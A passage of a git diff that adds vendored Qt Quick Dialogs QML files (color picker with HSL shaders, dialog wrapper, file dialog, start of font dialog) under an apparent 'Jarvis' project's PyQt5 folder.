palette.window + focus: root.visible + property real bottomMinHeight: sliders.height + buttonRow.height + outerSpacing * 3 + property real spacing: 8 + property real outerSpacing: 12 + property bool usePaletteMap: true + + Keys.onPressed: { + event.accepted = true + switch (event.key) { + case Qt.Key_Return: + case Qt.Key_Select: + accept() + break + case Qt.Key_Escape: + case Qt.Key_Back: + reject() + break + case Qt.Key_C: + if (event.modifiers & Qt.ControlModifier) + colorField.copyAll() + break + case Qt.Key_V: + if (event.modifiers & Qt.ControlModifier) { + colorField.paste() + root.currentColor = colorField.text + } + break + default: + // do nothing + event.accepted = false + break + } + } + + SystemPalette { id: palette } + + Item { + id: paletteFrame + visible: content.usePaletteMap + anchors { + top: parent.top + left: parent.left + right: parent.right + margins: content.outerSpacing + } + height: Math.min(content.height - content.bottomMinHeight, content.width - content.outerSpacing * 2) + + Image { + id: paletteMap + x: (parent.width - width) / 2 + width: height + onWidthChanged: root.__setControlsFromColor() + height: parent.height + source: "images/checkers.png" + fillMode: Image.Tile + + // note we smoothscale the shader from a smaller version to improve performance + ShaderEffect { + id: map + width: 64 + height: 64 + opacity: alphaSlider.value + scale: paletteMap.width / width; + layer.enabled: true + layer.smooth: true + anchors.centerIn: parent + property real hue: hueSlider.value + + fragmentShader: content.OpenGLInfo.profile === OpenGLInfo.CoreProfile ? "#version 150 + in vec2 qt_TexCoord0; + uniform float qt_Opacity; + uniform float hue; + out vec4 fragColor; + + float hueToIntensity(float v1, float v2, float h) { + h = fract(h); + if (h < 1.0 / 6.0) + return v1 + (v2 - v1) * 6.0 * h; + else if (h < 1.0 / 2.0) + return v2; + else if (h < 2.0 / 3.0) + return v1 + (v2 - v1) * 6.0 * (2.0 / 3.0 - h); + + return v1; + } + + vec3 HSLtoRGB(vec3 color) { + float h = color.x; + float l = color.z; + float s = color.y; + + if (s < 1.0 / 256.0) + return vec3(l, l, l); + + float v1; + float v2; + if (l < 0.5) + v2 = l * (1.0 + s); + else + v2 = (l + s) - (s * l); + + v1 = 2.0 * l - v2; + + float d = 1.0 / 3.0; + float r = hueToIntensity(v1, v2, h + d); + float g = hueToIntensity(v1, v2, h); + float b = hueToIntensity(v1, v2, h - d); + return vec3(r, g, b); + } + + void main() { + vec4 c = vec4(1.0); + c.rgb = HSLtoRGB(vec3(hue, 1.0 - qt_TexCoord0.t, qt_TexCoord0.s)); + fragColor = c * qt_Opacity; + } + " : " + varying mediump vec2 qt_TexCoord0; + uniform highp float qt_Opacity; + uniform highp float hue; + + highp float hueToIntensity(highp float v1, highp float v2, highp float h) { + h = fract(h); + if (h < 1.0 / 6.0) + return v1 + (v2 - v1) * 6.0 * h; + else if (h < 1.0 / 2.0) + return v2; + else if (h < 2.0 / 3.0) + return v1 + (v2 - v1) * 6.0 * (2.0 / 3.0 - h); + + return v1; + } + + highp vec3 HSLtoRGB(highp vec3 color) { + highp float h = color.x; + highp float l = color.z; + highp float s = color.y; + + if (s < 1.0 / 256.0) + return vec3(l, l, l); + + highp float v1; + highp float v2; + if (l < 0.5) + v2 = l * (1.0 + s); + else + v2 = (l + s) - (s * l); + + v1 = 2.0 * l - v2; + + highp float d = 1.0 / 3.0; + highp float r = hueToIntensity(v1, v2, h + d); + highp float g = hueToIntensity(v1, v2, h); + highp float b = hueToIntensity(v1, v2, h - d); + return vec3(r, g, b); + } + + void main() { + lowp vec4 c = vec4(1.0); + c.rgb = HSLtoRGB(vec3(hue, 1.0 - qt_TexCoord0.t, qt_TexCoord0.s)); + gl_FragColor = c * qt_Opacity; + } + " + } + + MouseArea { + id: mapMouseArea + anchors.fill: parent + onPositionChanged: { + if (pressed && containsMouse) { + var xx = Math.max(0, Math.min(mouse.x, parent.width)) + var yy = Math.max(0, Math.min(mouse.y, parent.height)) + saturationSlider.value = 1.0 - yy / parent.height + lightnessSlider.value = xx / parent.width + // TODO if we constrain the movement here, can avoid the containsMouse test + crosshairs.x = mouse.x - crosshairs.radius + crosshairs.y = mouse.y - crosshairs.radius + } + } + onPressed: positionChanged(mouse) + } + + Image { + id: crosshairs + property int radius: width / 2 // truncated to int + source: "images/crosshairs.png" + } + + BorderImage { + anchors.fill: parent + anchors.margins: -1 + anchors.leftMargin: -2 + source: "images/sunken_frame.png" + border.left: 8 + border.right: 8 + border.top: 8 + border.bottom: 8 + } + } + } + + Column { + id: sliders + anchors { + top: paletteFrame.bottom + left: parent.left + right: parent.right + margins: content.outerSpacing + } + + ColorSlider { + id: hueSlider + value: 0.5 + onValueChanged: if (__valueSet) root.currentColor = Qt.hsla(hueSlider.value, saturationSlider.value, lightnessSlider.value, alphaSlider.value) + text: qsTr("Hue") + trackDelegate: Rectangle { + rotation: -90 + transformOrigin: Item.TopLeft + gradient: Gradient { + GradientStop {position: 0.000; color: Qt.rgba(1, 0, 0, 1)} + GradientStop {position: 0.167; color: Qt.rgba(1, 1, 0, 1)} + GradientStop {position: 0.333; color: Qt.rgba(0, 1, 0, 1)} + GradientStop {position: 0.500; color: Qt.rgba(0, 1, 1, 1)} + GradientStop {position: 0.667; color: Qt.rgba(0, 0, 1, 1)} + GradientStop {position: 0.833; color: Qt.rgba(1, 0, 1, 1)} + GradientStop {position: 1.000; color: Qt.rgba(1, 0, 0, 1)} + } + } + } + + ColorSlider { + id: saturationSlider + visible: !content.usePaletteMap + value: 0.5 + onValueChanged: if (__valueSet) root.currentColor = Qt.hsla(hueSlider.value, saturationSlider.value, lightnessSlider.value, alphaSlider.value) + text: qsTr("Saturation") + trackDelegate: Rectangle { + rotation: -90 + transformOrigin: Item.TopLeft + gradient: Gradient { + GradientStop { position: 0; color: Qt.hsla(hueSlider.value, 0.0, lightnessSlider.value, 1.0) } + GradientStop { position: 1; color: Qt.hsla(hueSlider.value, 1.0, lightnessSlider.value, 1.0) } + } + } + } + + ColorSlider { + id: lightnessSlider + visible: !content.usePaletteMap + value: 0.5 + onValueChanged: if (__valueSet) root.currentColor = Qt.hsla(hueSlider.value, saturationSlider.value, lightnessSlider.value, alphaSlider.value) + text: qsTr("Luminosity") + trackDelegate: Rectangle { + rotation: -90 + transformOrigin: Item.TopLeft + gradient: Gradient { + GradientStop { position: 0; color: "black" } + GradientStop { position: 0.5; color: Qt.hsla(hueSlider.value, saturationSlider.value, 0.5, 1.0) } + GradientStop { position: 1; color: "white" } + } + } + } + + ColorSlider { + id: alphaSlider + minimum: 0.0 + maximum: 1.0 + value: 1.0 + onValueChanged: if (__valueSet) root.currentColor = Qt.hsla(hueSlider.value, saturationSlider.value, lightnessSlider.value, alphaSlider.value) + text: qsTr("Alpha") + visible: root.showAlphaChannel + trackDelegate: Item { + rotation: -90 + transformOrigin: Item.TopLeft + Image { + anchors {fill: parent} + source: "images/checkers.png" + fillMode: Image.TileVertically + } + Rectangle { + anchors.fill: parent + gradient: Gradient { + GradientStop { position: 0; color: "transparent" } + GradientStop { position: 1; color: Qt.hsla(hueSlider.value, + saturationSlider.value, + lightnessSlider.value, 1.0) } + } } + } + } + } + + Item { + id: buttonRow + height: Math.max(buttonsOnly.height, copyIcon.height) + width: parent.width + anchors { + left: parent.left + right: parent.right + bottom: content.bottom + margins: content.outerSpacing + } + Row { + spacing: content.spacing + height: visible ? parent.height : 0 + visible: !Settings.isMobile + TextField { + id: colorField + text: root.currentColor.toString() + anchors.verticalCenter: parent.verticalCenter + onAccepted: root.currentColor = text + Component.onCompleted: width = implicitWidth + 10 + } + Image { + id: copyIcon + anchors.verticalCenter: parent.verticalCenter + source: "images/copy.png" + MouseArea { + anchors.fill: parent + onClicked: colorField.copyAll() + } + } + } + Row { + id: buttonsOnly + spacing: content.spacing + anchors.right: parent.right + Button { + id: cancelButton + text: qsTr("Cancel") + onClicked: root.reject() + } + Button { + id: okButton + text: qsTr("OK") + onClicked: root.accept() + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultColorDialog.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultColorDialog.qmlc new file mode 100644 index 00000000..f8caa8e4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultColorDialog.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultDialogWrapper.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultDialogWrapper.qml new file mode 100644 index 00000000..3ca030c4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultDialogWrapper.qml @@ -0,0 +1,207 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Dialogs 1.2 +import QtQuick.Layouts 1.1 +import QtQuick.Window 2.1 +import "qml" + +AbstractDialog { + id: root + default property alias data: defaultContentItem.data + + signal actionChosen(var action) + + onVisibilityChanged: if (visible && contentItem) contentItem.forceActiveFocus() + + Rectangle { + id: content + property real spacing: 6 + property real outerSpacing: 12 + property real buttonsRowImplicitHeight: 0 + property real buttonsRowImplicitWidth: Screen.pixelDensity * 50 + property bool buttonsInSingleRow: defaultContentItem.width >= buttonsRowImplicitWidth + property real minimumHeight: implicitHeight + property real minimumWidth: implicitWidth + implicitHeight: defaultContentItem.implicitHeight + spacing + outerSpacing * 2 + Math.max(buttonsRight.implicitHeight, buttonsRowImplicitHeight) + implicitWidth: Math.min(root.__maximumDimension, Math.max( + defaultContentItem.implicitWidth, buttonsRowImplicitWidth, Screen.pixelDensity * 50) + outerSpacing * 2) + color: palette.window + Keys.onPressed: { + event.accepted = handleKey(event.key) + } + + SystemPalette { id: palette } + + Item { + id: defaultContentItem + anchors { + left: parent.left + right: parent.right + top: parent.top + bottom: buttonsLeft.implicitHeight ? buttonsLeft.top : buttonsRight.top + margins: content.outerSpacing + bottomMargin: buttonsLeft.implicitHeight + buttonsRight.implicitHeight > 0 ? content.spacing : 0 + } + implicitHeight: children.length === 1 ? children[0].implicitHeight + : (children.length ? childrenRect.height : 0) + implicitWidth: children.length === 1 ? children[0].implicitWidth + : (children.length ? childrenRect.width : 0) + } + + Flow { + id: buttonsLeft + spacing: content.spacing + anchors { + left: parent.left + bottom: content.buttonsInSingleRow ? parent.bottom : buttonsRight.top + margins: content.outerSpacing + } + + Repeater { + id: buttonsLeftRepeater + Button { + text: (buttonsLeftRepeater.model && buttonsLeftRepeater.model[index] ? buttonsLeftRepeater.model[index].text : index) + onClicked: content.handleButton(buttonsLeftRepeater.model[index].standardButton) + } + } + + Button { + id: moreButton + text: qsTr("Show Details...") + visible: false + } + } + + Flow { + id: buttonsRight + spacing: content.spacing + layoutDirection: Qt.RightToLeft + anchors { + left: parent.left + right: parent.right + bottom: parent.bottom + margins: content.outerSpacing + } + + Repeater { + id: buttonsRightRepeater + // TODO maybe: insert gaps if the button requires it (destructive buttons only) + Button { + text: (buttonsRightRepeater.model && buttonsRightRepeater.model[index] ? buttonsRightRepeater.model[index].text : index) + onClicked: content.handleButton(buttonsRightRepeater.model[index].standardButton) + } + } + } + + function handleButton(button) { + var action = { + "button": button, + "key": 0, + "accepted": true, + } + root.actionChosen(action) + if (action.accepted) { + click(button) + } + } + + function handleKey(key) { + var button = 0 + switch (key) { + case Qt.Key_Escape: + case Qt.Key_Back: + button = StandardButton.Cancel + break + case Qt.Key_Enter: + case Qt.Key_Return: + button = StandardButton.Ok + break + default: + return false + } + var action = { + "button": button, + "key": key, + "accepted": true, + } + root.actionChosen(action) + if (action.accepted) { + switch (button) { + case StandardButton.Cancel: + reject() + break + case StandardButton.Ok: + accept() + break + } + } + return true + } + } + function setupButtons() { + buttonsLeftRepeater.model = root.__standardButtonsLeftModel() + buttonsRightRepeater.model = root.__standardButtonsRightModel() + if (buttonsRightRepeater.model && buttonsRightRepeater.model.length > 0) + content.buttonsRowImplicitHeight = buttonsRight.visibleChildren[0].implicitHeight + if (buttonsLeftRepeater.count + buttonsRightRepeater.count < 1) + return; + var calcWidth = 0; + + function calculateForButton(i, b) { + var buttonWidth = b.implicitWidth; + if (buttonWidth > 0) { + if (i > 0) + buttonWidth += content.spacing + calcWidth += buttonWidth + } + } + + for (var i = 0; i < buttonsRight.visibleChildren.length; ++i) + calculateForButton(i, buttonsRight.visibleChildren[i]) + content.minimumWidth = Math.max(calcWidth + content.outerSpacing * 2, content.implicitWidth) + for (i = 0; i < buttonsLeft.visibleChildren.length; ++i) + calculateForButton(i, buttonsLeft.visibleChildren[i]) + content.buttonsRowImplicitWidth = calcWidth + content.spacing + } + onStandardButtonsChanged: setupButtons() + Component.onCompleted: setupButtons() +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultDialogWrapper.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultDialogWrapper.qmlc new file mode 100644 index 00000000..a6770ee6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultDialogWrapper.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFileDialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFileDialog.qml new file mode 100644 index 00000000..077b5acd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFileDialog.qml @@ -0,0 +1,488 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 as ControlsPrivate +import QtQuick.Dialogs 1.1 +import QtQuick.Dialogs.Private 1.1 +import QtQuick.Layouts 1.1 +import QtQuick.Window 2.1 +import Qt.labs.folderlistmodel 2.1 +import Qt.labs.settings 1.0 +import "qml" + +AbstractFileDialog { + id: root + + property Component modelComponent: Component { + FolderListModel { + showFiles: !root.selectFolder + nameFilters: root.selectedNameFilterExtensions + sortField: (view.sortIndicatorColumn === 0 ? FolderListModel.Name : + (view.sortIndicatorColumn === 1 ? FolderListModel.Type : + (view.sortIndicatorColumn === 2 ? FolderListModel.Size : FolderListModel.LastModified))) + sortReversed: view.sortIndicatorOrder === Qt.DescendingOrder + } + } + + onVisibleChanged: { + if (visible) { + // If the TableView doesn't have a model yet, create it asynchronously to avoid a UI freeze + if (!view.model) { + var incubator = modelComponent.incubateObject(null, { }) + function init(model) { + view.model = model + model.nameFilters = root.selectedNameFilterExtensions + root.folder = model.folder + } + + if (incubator.status === Component.Ready) { + init(incubator.object) + } else { + incubator.onStatusChanged = function(status) { + if (status === Component.Ready) + init(incubator.object) + } + } + } + + view.needsWidthAdjustment = true + view.selection.clear() + view.focus = true + } + } + + Component.onCompleted: { + filterField.currentIndex = root.selectedNameFilterIndex + root.favoriteFolders = settings.favoriteFolders + } + + Component.onDestruction: { + settings.favoriteFolders = root.favoriteFolders + } + + property Settings settings: Settings { + category: "QQControlsFileDialog" + property alias width: root.width + property alias height: root.height + property alias sidebarWidth: sidebar.width + property alias sidebarSplit: shortcutsScroll.height + property alias sidebarVisible: root.sidebarVisible + property variant favoriteFolders: [] + } + + property bool showFocusHighlight: false + property SystemPalette palette: SystemPalette { } + property var favoriteFolders: [] + + function dirDown(path) { + view.selection.clear() + root.folder = "file://" + path + } + function dirUp() { + view.selection.clear() + if (view.model.parentFolder != "") + root.folder = view.model.parentFolder + } + function acceptSelection() { + // transfer the view's selections to QQuickFileDialog + clearSelection() + if (selectFolder && view.selection.count === 0) + addSelection(folder) + else { + view.selection.forEach(function(idx) { + if (view.model.isFolder(idx)) { + if (selectFolder) + addSelection(view.model.get(idx, "fileURL")) + } else { + if (!selectFolder) + addSelection(view.model.get(idx, "fileURL")) + } + }) + } + accept() + } + + property Action dirUpAction: Action { + text: "\ue810" + shortcut: "Ctrl+U" + onTriggered: dirUp() + tooltip: qsTr("Go up to the folder containing this one") + } + + Rectangle { + id: window + implicitWidth: Math.min(root.__maximumDimension, Math.max(Screen.pixelDensity * 100, splitter.implicitWidth)) + implicitHeight: Math.min(root.__maximumDimension, Screen.pixelDensity * 80) + color: root.palette.window + + Qml.Binding { + target: view.model + property: "folder" + value: root.folder + restoreMode: Binding.RestoreBinding + } + Qml.Binding { + target: currentPathField + property: "text" + value: root.urlToPath(root.folder) + restoreMode: Binding.RestoreBinding + } + Keys.onPressed: { + event.accepted = true + switch (event.key) { + case Qt.Key_Back: + case Qt.Key_Escape: + reject() + break + default: + event.accepted = false + break + } + } + Keys.forwardTo: [view.flickableItem] + + SplitView { + id: splitter + x: 0 + width: parent.width + anchors.top: titleBar.bottom + anchors.bottom: bottomBar.top + + Column { + id: sidebar + Component.onCompleted: if (width < 1) width = sidebarSplitter.maxShortcutWidth + height: parent.height + width: 0 // initial width only; settings and onCompleted will override it + visible: root.sidebarVisible + SplitView { + id: sidebarSplitter + orientation: Qt.Vertical + property real rowHeight: 10 + property real maxShortcutWidth: 80 + width: parent.width + height: parent.height - favoritesButtons.height + + ScrollView { + id: shortcutsScroll + Component.onCompleted: { + if (height < 1) + height = sidebarSplitter.rowHeight * 4.65 + Layout.minimumHeight = sidebarSplitter.rowHeight * 2.65 + } + height: 0 // initial width only; settings and onCompleted will override it + ListView { + id: shortcutsView + model: __shortcuts.length + anchors.bottomMargin: ControlsPrivate.Settings.hasTouchScreen ? Screen.pixelDensity * 3.5 : anchors.margins + implicitHeight: model.count * sidebarSplitter.rowHeight + delegate: Item { + id: shortcutItem + width: sidebarSplitter.width + height: shortcutLabel.implicitHeight * 1.5 + Text { + id: shortcutLabel + text: __shortcuts[index].name + anchors { + verticalCenter: parent.verticalCenter + left: parent.left + right: parent.right + margins: 4 + } + elide: Text.ElideLeft + renderType: ControlsPrivate.Settings.isMobile ? Text.QtRendering : Text.NativeRendering + Component.onCompleted: { + sidebarSplitter.rowHeight = parent.height + if (implicitWidth * 1.2 > sidebarSplitter.maxShortcutWidth) + sidebarSplitter.maxShortcutWidth = implicitWidth * 1.2 + } + } + MouseArea { + anchors.fill: parent + onClicked: root.folder = __shortcuts[index].url + } + } + } + } + + ScrollView { + Layout.minimumHeight: sidebarSplitter.rowHeight * 2.5 + ListView { + id: favorites + model: root.favoriteFolders + anchors.topMargin: ControlsPrivate.Settings.hasTouchScreen ? Screen.pixelDensity * 3.5 : anchors.margins + delegate: Item { + width: favorites.width + height: folderLabel.implicitHeight * 1.5 + Text { + id: folderLabel + text: root.favoriteFolders[index] + anchors { + verticalCenter: parent.verticalCenter + left: parent.left + right: parent.right + margins: 4 + } + elide: Text.ElideLeft + renderType: ControlsPrivate.Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + Menu { + id: favoriteCtxMenu + title: root.favoriteFolders[index] + MenuItem { + text: qsTr("Remove favorite") + onTriggered: { + root.favoriteFolders.splice(index, 1) + favorites.model = root.favoriteFolders + } + } + } + MouseArea { + id: favoriteArea + anchors.fill: parent + acceptedButtons: Qt.LeftButton | Qt.RightButton + hoverEnabled: true + onClicked: { + if (mouse.button == Qt.LeftButton) + root.folder = root.favoriteFolders[index] + else if (mouse.button == Qt.RightButton) + favoriteCtxMenu.popup() + } + onExited: ControlsPrivate.Tooltip.hideText() + onCanceled: ControlsPrivate.Tooltip.hideText() + Timer { + interval: 1000 + running: favoriteArea.containsMouse && !favoriteArea.pressed && folderLabel.truncated + onTriggered: ControlsPrivate.Tooltip.showText(favoriteArea, + Qt.point(favoriteArea.mouseX, favoriteArea.mouseY), urlToPath(root.favoriteFolders[index])) + } + } + } + } + } + } + + Row { + id: favoritesButtons + height: plusButton.height + 1 + anchors.right: parent.right + anchors.rightMargin: 6 + layoutDirection: Qt.RightToLeft + Button { + id: plusButton + style: IconButtonStyle { } + text: "\ue83e" + tooltip: qsTr("Add the current directory as a favorite") + width: height + onClicked: { + root.favoriteFolders.push(root.folder) + favorites.model = root.favoriteFolders + } + } + } + } + + TableView { + id: view + sortIndicatorVisible: true + Layout.fillWidth: true + Layout.minimumWidth: 40 + property bool needsWidthAdjustment: true + selectionMode: root.selectMultiple ? + (ControlsPrivate.Settings.hasTouchScreen ? SelectionMode.MultiSelection : SelectionMode.ExtendedSelection) : + SelectionMode.SingleSelection + onRowCountChanged: if (needsWidthAdjustment && rowCount > 0) { + resizeColumnsToContents() + needsWidthAdjustment = false + } + model: null + + onActivated: if (view.focus) { + if (view.selection.count > 0 && view.model.isFolder(row)) { + dirDown(view.model.get(row, "filePath")) + } else { + root.acceptSelection() + } + } + onClicked: currentPathField.text = view.model.get(row, "filePath") + + + TableViewColumn { + id: fileNameColumn + role: "fileName" + title: qsTr("Filename") + delegate: Item { + implicitWidth: pathText.implicitWidth + pathText.anchors.leftMargin + pathText.anchors.rightMargin + IconGlyph { + id: fileIcon + x: 4 + height: parent.height - 2 + unicode: view.model.isFolder(styleData.row) ? "\ue804" : "\ue802" + } + Text { + id: pathText + text: styleData.value + anchors { + left: parent.left + right: parent.right + leftMargin: fileIcon.width + 6 + rightMargin: 4 + verticalCenter: parent.verticalCenter + } + color: styleData.textColor + elide: Text.ElideRight + renderType: ControlsPrivate.Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + } + } + TableViewColumn { + role: "fileSuffix" + title: qsTr("Type", "file type (extension)") + // TODO should not need to create a whole new component just to customize the text value + // something like textFormat: function(text) { return view.model.get(styleData.row, "fileIsDir") ? "folder" : text } + delegate: Item { + implicitWidth: sizeText.implicitWidth + sizeText.anchors.leftMargin + sizeText.anchors.rightMargin + Text { + id: sizeText + text: view.model.get(styleData.row, "fileIsDir") ? "folder" : styleData.value + anchors { + left: parent.left + right: parent.right + leftMargin: 4 + rightMargin: 4 + verticalCenter: parent.verticalCenter + } + color: styleData.textColor + elide: Text.ElideRight + renderType: ControlsPrivate.Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + } + } + TableViewColumn { + role: "fileSize" + title: qsTr("Size", "file size") + horizontalAlignment: Text.AlignRight + } + TableViewColumn { id: modifiedColumn; role: "fileModified" ; title: qsTr("Modified", "last-modified time") } + TableViewColumn { id: accessedColumn; role: "fileAccessed" ; title: qsTr("Accessed", "last-accessed time") } + } + } + + ToolBar { + id: titleBar + RowLayout { + anchors.fill: parent + ToolButton { + action: dirUpAction + style: IconButtonStyle { } + Layout.maximumWidth: height * 1.5 + } + TextField { + id: currentPathField + Layout.fillWidth: true + function doAccept() { + root.clearSelection() + if (root.addSelection(root.pathToUrl(text))) + root.accept() + else + root.folder = root.pathFolder(text) + } + onAccepted: doAccept() + } + } + } + Item { + id: bottomBar + width: parent.width + height: buttonRow.height + buttonRow.spacing * 2 + anchors.bottom: parent.bottom + + Row { + id: buttonRow + anchors.right: parent.right + anchors.rightMargin: spacing + anchors.verticalCenter: parent.verticalCenter + spacing: 4 + Button { + id: toggleSidebarButton + checkable: true + style: IconButtonStyle { } + text: "\u25E7" + height: cancelButton.height + width: height + checked: root.sidebarVisible + onClicked: { + root.sidebarVisible = !root.sidebarVisible + } + } + ComboBox { + id: filterField + model: root.nameFilters + visible: !selectFolder + width: bottomBar.width - toggleSidebarButton.width - cancelButton.width - okButton.width - parent.spacing * 6 + anchors.verticalCenter: parent.verticalCenter + onCurrentTextChanged: { + root.selectNameFilter(currentText) + if (view.model) + view.model.nameFilters = root.selectedNameFilterExtensions + } + } + Button { + id: cancelButton + text: qsTr("Cancel") + onClicked: root.reject() + } + Button { + id: okButton + text: root.selectFolder ? qsTr("Choose") : (selectExisting ? qsTr("Open") : qsTr("Save")) + onClicked: { + if (view.model.isFolder(view.currentRow) && !selectFolder) + dirDown(view.model.get(view.currentRow, "filePath")) + else if (!(root.selectExisting)) + currentPathField.doAccept() + else + root.acceptSelection() + } + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFileDialog.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFileDialog.qmlc new file mode 100644 index 00000000..5a4490c2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFileDialog.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFontDialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFontDialog.qml new file mode 100644 index 00000000..ee6366a5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFontDialog.qml @@ -0,0 +1,403 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Dialogs module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.0 +import QtQuick.Dialogs 1.1 +import QtQuick.Dialogs.Private 1.1 +import QtQuick.Layouts 1.1 +import QtQuick.Window 2.1 +import "qml" + +AbstractFontDialog { + id: root + + property alias font: content.externalFont + property alias currentFont: content.font + + Rectangle { + id: content + SystemPalette { id: palette } + + implicitWidth: Math.min(root.__maximumDimension, Math.max(Screen.pixelDensity * 100, mainLayout.implicitWidth + outerSpacing * 2)) + implicitHeight: Math.min(root.__maximumDimension, Math.max(Screen.pixelDensity * 60, mainLayout.implicitHeight + outerSpacing * 2)) + property real spacing: 6 + property real outerSpacing: 12 + color: palette.window + + property font font: Qt.font({ family: "Helvetica", pointSize: 24, weight: Font.Normal }) + property font externalFont + property string writingSystem + property string writingSystemSample + property var pointSizes + + onExternalFontChanged: { + if (Component.status != Component.Ready) + return + + if (content.font != content.externalFont) { + font = externalFont + wsComboBox.reset() + fontListView.reset() + weightListView.reset() + } + } + + Component.onCompleted: externalFontChanged() + + 